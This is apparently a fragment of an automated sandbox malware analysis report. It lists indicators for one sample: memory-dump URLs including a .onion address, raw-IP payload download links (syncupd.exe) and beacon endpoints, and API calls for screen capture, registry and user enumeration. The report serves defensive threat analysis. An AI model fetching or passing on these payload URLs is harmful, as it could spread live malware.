00000000-00004500.00000001.82966.00C60000.00000002.mdmp, 00000000-00004500.00000002.84888.00C60000.00000002.mdmp") Found reference to API "GetHostName" (Indicator: "gethostname"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp")61:T20f1,Found URL "https://realupdate.ruhttp://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ac:\users\hapubws\appdata\local\temp\31839b57a4f11171d6abc8bbc445<<>><<>><<>><<>><<>>01*0b1c1115005f5c4e0706040f1d15011211164f0716*0b1c1115005f5c4e0706040f1d15011211164f071601080310803240129105107z250128105107z*0b1c1115005f5c4e0706040f1d15011211164f0716*0b1c1115005f5c4e0706040f1d15011211164f071601080310803*0b1c1115005f5c4e0706040f1d15011211164f0716*0b1c1115005f5c4e0706040f1d15011211164f071601080310803hkey_users\s-1-5-21-2092356043-4041700817-663127204-1001483f7b2ab61d68d9c611c15cd59bcab01ee7084508c9bcdc2dce238def72cd67483f7b2ab61d68d9c611c15cd59bcab01ee7084508c9bcdc2dce238def72cd67aselect" - Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found URL "https://realupdate.ruhttps://realupdate.ruregqueryvalueexwhttps://realupdate.runetapibufferfreevmware" - Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found URL "http://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onionhttp://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onions-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\testapps-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2as-1-5-21-2092356043-4041700817-663127204-1001\software\microsoft\483f7b2ac:\users\hapubws\appdata\local\temp\31839b57a4f11171d6abc8bbc4451ee4.exe" - Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found URL "https://realupdate.ruhttp://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onionhttps://realupdate.ruhttp://2br6fbckvvnbitgz5legl42pnjbwppxzoqyvb74xkrztdtkim6nk6iad.onion*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b1*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b1*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b*0b1c1115005f5c4e0706040f1d15011211164f071600b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b10b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070b0b1c1115494a5c53171153050a060e05131d031c1702195d090014094753050d0f011f15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070bij\sf15150b1f1c100c1507545c1d0e011f070501080c0e5e0b0e450c12055b0c0b0a070bcurrent" - Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=nine&s=ab/silent/tostack/nocancelhttp://5.42.64.33/syncupd.exehttp://185.172.128.109/syncupd.exehttp://5.42.64.33/ping.php?substr=ninesoftware\broomcleanerinstallederror!" - Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=nine&s=ab/silent/tostack/nocancel2651822,1344,3150,,iswow64process,kernel32.dll," - Source: "00000000-00002856.00000000.80757.00220000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00002856.00000000.80757.0040A000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=nine&s=ab/silent/tostack/nocancelhttp://5.42.64.33/syncupd.exehttp://185.172.128.109/syncupd.exehttp://5.42.64.33/ping.php?substr=ninesoftware\broomcleanerinstallederror!" - Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp") Found URL "http://5.42.64.33/ping.php?substr=nineget" - Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp") Found URL "http://5.42.64.33/ping.php?substr=nine" - Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00002856.00000001.82683.0040A000.00000004.mdmp") Found URL "http://185.172.128.90/cpa/ping.php?substr=nine&s=ab/silent/tostack/nocancelhttp://5.42.64.33/syncupd.exehttp://185.172.128.109/syncupd.exehttp://5.42.64.33/ping.php?substr=ninesoftware\broomcleanerinstallederror!" - Source: "00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found URL "http://nsis.sf.net/nsis_errorerror" - Source: "00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found URL "http://ssw.live.com/uploaddata.aspxsoftware\microsoft\windows" - Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found URL "https://sqm.microsoft.com/sqm/%s/manifests/sqm%d.bintestmanifesturldisablemanifestdownload%s/?partner=%shttps://copyuploadedfilestofoldersamplingintervalupload" - Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found URL "http:///default.htmtransfer-encoding:" - Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found URL "https://%s:%d%swlc-extended-statusauthdocumentnotfoundcontent-encodinggzipunknownmachineguid" - Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found URL "http://sqm.microsoft.com/sqm/windowslive/sqmserver.dllsync" - Source: "00000000-00004500.00000002.84888.70E41000.00000020.mdmp")62:T8ef,Found string "ncacn_np" (Indicator: "ncacn_np"; Source: "00000000-00002512.00000001.82002.002D0000.00000004.mdmp") Found string "+ncalrpc:[OLE41A40071F20B4C58940EA677B724]" (Indicator: "ncalrpc"; Source: "00000000-00002512.00000001.82002.0033A000.00000004.mdmp") Found string "B+ncalrpc:[OLE41A40071F20B4C58940EA677B724]" (Indicator: "ncalrpc"; Source: "00000000-00002512.00000001.82002.0033A000.00000004.mdmp, 00000000-00002512.00000001.82002.0034B000.00000004.mdmp") Found string "+ncalrpc:[OLEEE1121A734674DDCAC0D7144AE95]" (Indicator: "ncalrpc"; Source: "00000000-00002512.00000001.82002.0034B000.00000004.mdmp") Found string "+ncalrpc:[OLEC2F1EF177D4C41E2AE30A000B709]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "+ncalrpc:[OLE4EEB0D99AB78401982CE443A96A5]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "I+ncalrpc:[OLE1E22939EC9914862AEA398B09A94]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "+ncalrpc:[OLEF3553DDC02CF49CCADC5D6D61176]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "+ncalrpc:[OLE1E22939EC9914862AEA398B09A94]" (Indicator: "ncalrpc"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "+ncalrpc:[OLE71C3B349282543EFBB9C498BDB27]" (Indicator: "ncalrpc"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp") Found string "B+ncalrpc:[OLE41A40071F20B4C58940EA677B724]" (Indicator: "ncalrpc"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp") Found string "+ncalrpc:[O" (Indicator: "ncalrpc"; Source: "00000000-00003348.00000000.82319.002F0000.00000004.mdmp")63:T55e,Found reference to API "CreateCompatibleDC" (Indicator: "CreateCompatibleDC"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetDIBits" (Indicator: "GetDIBits"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateDCW" (Indicator: "CreateDC"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "BitBlt" (Indicator: "BitBlt"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "CreateCompatibleBitmap" (Indicator: "CreateCompatibleBitmap"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetDC" (Indicator: "GetDC"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetDesktopWindow" (Indicator: "GetDesktopWindow"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetDCEx" (Indicator: "GetDC"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetWindowDC" (Indicator: "GetWindowDC"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetDC" (Indicator: "GetDC"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp")64:T934,Found registry query API: "RegEnumKeyExW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegEnumValueW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegQueryInfoKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegOpenKeyExW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegQueryValueExW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegSaveKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegEnumKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegOpenKeyW" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegQueryValueExA" in file "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799" Found registry query API: "RegOpenKeyExW" in "00000000-00002512.00000001.82002.0B480000.00000004.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002512.00000001.82002.0B480000.00000004.mdmp" Found registry query API: "RegEnumValueW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found registry query API: "RegEnumKeyW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00002856.00000000.80757.00408000.00000002.mdmp" Found registry query API: "RegQueryValueExW" in "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp" Found registry query API: "RegOpenKeyExW" in "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp" Found registry query API: "RegOpenKeyTransactedW" in "00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000002.84888.70E41000.00000020.mdmp"65:T845,Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; File: "00000000-00004224.00000000.80779.0040B000.00000020.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; File: "00000000-00004224.00000000.80779.0040B000.00000020.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "NetWkstaGetInfo" (Indicator: "NetWkstaGetInfo"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "WTSQuerySessionInformationA" (Indicator: "WTSQuerySessionInformation"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "8609928,3564,3216,,LookupAccountSidA,advapi32.dll,"252:37:46.508",RX=0,PX=0" (Indicator: "LookupAccountSid"; Source: "00000000-00002512.00000001.82002.0034B000.00000004.mdmp") Found reference to API "NetUserGetInfo" (Indicator: "NetUserGetInfo"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "GetTokenInformation" (Indicator: "GetTokenInformation"; Source: "00000000-00002512.00000001.82002.0B480000.00000004.mdmp") Found reference to API "GetProcessWindowStation" (Indicator: "GetProcessWindowStation"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetUserObjectInformationW" (Indicator: "GetUserObjectInformation"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "getLookupAccountName" (Indicator: "LookupAccountName"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp") Found reference to API "GetUserNameW" (Indicator: "GetUserName"; Source: "00000000-00004500.00000001.82966.70891000.00000020.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")66:Teac,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindFirstFileW" with parameter %WINDIR%\Microsoft.NET\Framework\\* (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter .. (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter NETFXSBS10.exe (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter netfxsbs12.hkf (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbscmp10.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbscmp20_mscorwks.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbscmp20_perfcounter.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_diasymreader.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_iehost.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_microsoft.jscript.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_microsoft.vsa.vb.codedomprocessor.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_mscordbi.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_mscorrc.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_mscorsec.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_system.configuration.install.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_system.data.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_system.enterpriseservices.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_VsaVb7rt.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter sbs_wminet_utils.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter SharedReg12.dll (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter v1.0.3705 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter v1.1.4322 (UID: 00000000-00000640) "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "FindNextFileW" with parameter v2.0.50727 (UID: 00000000-00000640)67:T433,"84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "InstallSetup9.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "toolspub1.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "toolspub1.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "0"} "31839b57a4f11171d6abc8bbc4451ee4.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "8" "th32ProcessID": "0"} "31839b57a4f11171d6abc8bbc4451ee4.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "31839b57a4f11171d6abc8bbc4451ee4.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "2" "th32ProcessID": "0"} "BroomSetup.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"} "cmd.exe" called "CreateToolhelp32Snapshot" with parameters {"dwFlags": "4" "th32ProcessID": "0"}68:T604,Found string "ten.mrofdaes.revres" (Indicator: "aes"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "moc.hcraeserdracerocs" (Indicator: "aes"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "moc.5432.hcraesgg" (Indicator: "aes"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string "ten.mrofdaes" (Indicator: "aes"; Source: "00000000-00002856.00000001.82683.00220000.00000004.mdmp, 00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found string ".?AV?$GCoConcrete@VGCoCipherAES_CBC@@@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found string ".?AVGCoCipherAES_CBC@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found string ".?AV?$GCoConcrete@VGCoCipherAES_CTR@@@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found string ".?AVGCoCipherAES_CTR@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found string ".?AV?$GCoConcrete@VGCoCipherPBE_AES_CTR_PBKDF2_SHA1@@@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp") Found string ".?AVGCoCipherPBE_AES_CTR_PBKDF2_SHA1@@" (Indicator: "aes"; Source: "00000000-00004500.00000001.82966.70362000.00000004.mdmp")69:T5c5,Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "9764630,1344,3120,,FindNextFileW,kernel32.dll,"253:59:43.275",RX=0,PX=0" (Indicator: "FindNextFile"; Source: "00000000-00002856.00000002.82814.00220000.00000004.mdmp") Found reference to API "FindFirstFileW" (Indicator: "FindFirstFile"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp") Found reference to API "FindNextFileW" (Indicator: "FindNextFile"; Source: "00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000001.82966.70BFA000.00000002.mdmp, 00000000-00004500.00000001.82966.70C94000.00000002.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")6a:Tad1,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetEnvironmentStringsW" (Indicator: "GetEnvironmentStrings"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetCurrentProcessId" (Indicator: "GetCurrentProcess"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004500.00000000.81045.007C6000.00000004.mdmp, 00000000-00004500.00000001.82966.007C5000.00000004.mdmp, 00000000-00004500.00000001.82966.708F9000.00000002.mdmp, 00000000-00004500.00000001.82966.70B3A000.00000004.mdmp, 00000000-00004500.00000002.84888.70E58000.00000002.mdmp")6b:T5a6,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; File: "84d011e18cec6190e2c79b270e9d2d575bfaa63998f50d13d3f9da147f49b799") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp, 00000000-00002856.00000000.80757.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.0040A000.00000004.mdmp, 00000000-00002856.00000001.82683.10001000.00000020.mdmp, 00000000-00002856.00000002.82814.0040A000.00000004.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00002856.00000000.80757.00408000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00003192.00000000.82126.00671000.00000020.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; Source: "00000000-00004224.00000000.80779.00433000.00000002.mdmp") Found reference to API "GetModuleHandleW" (Indicator: "GetModuleHandle"; 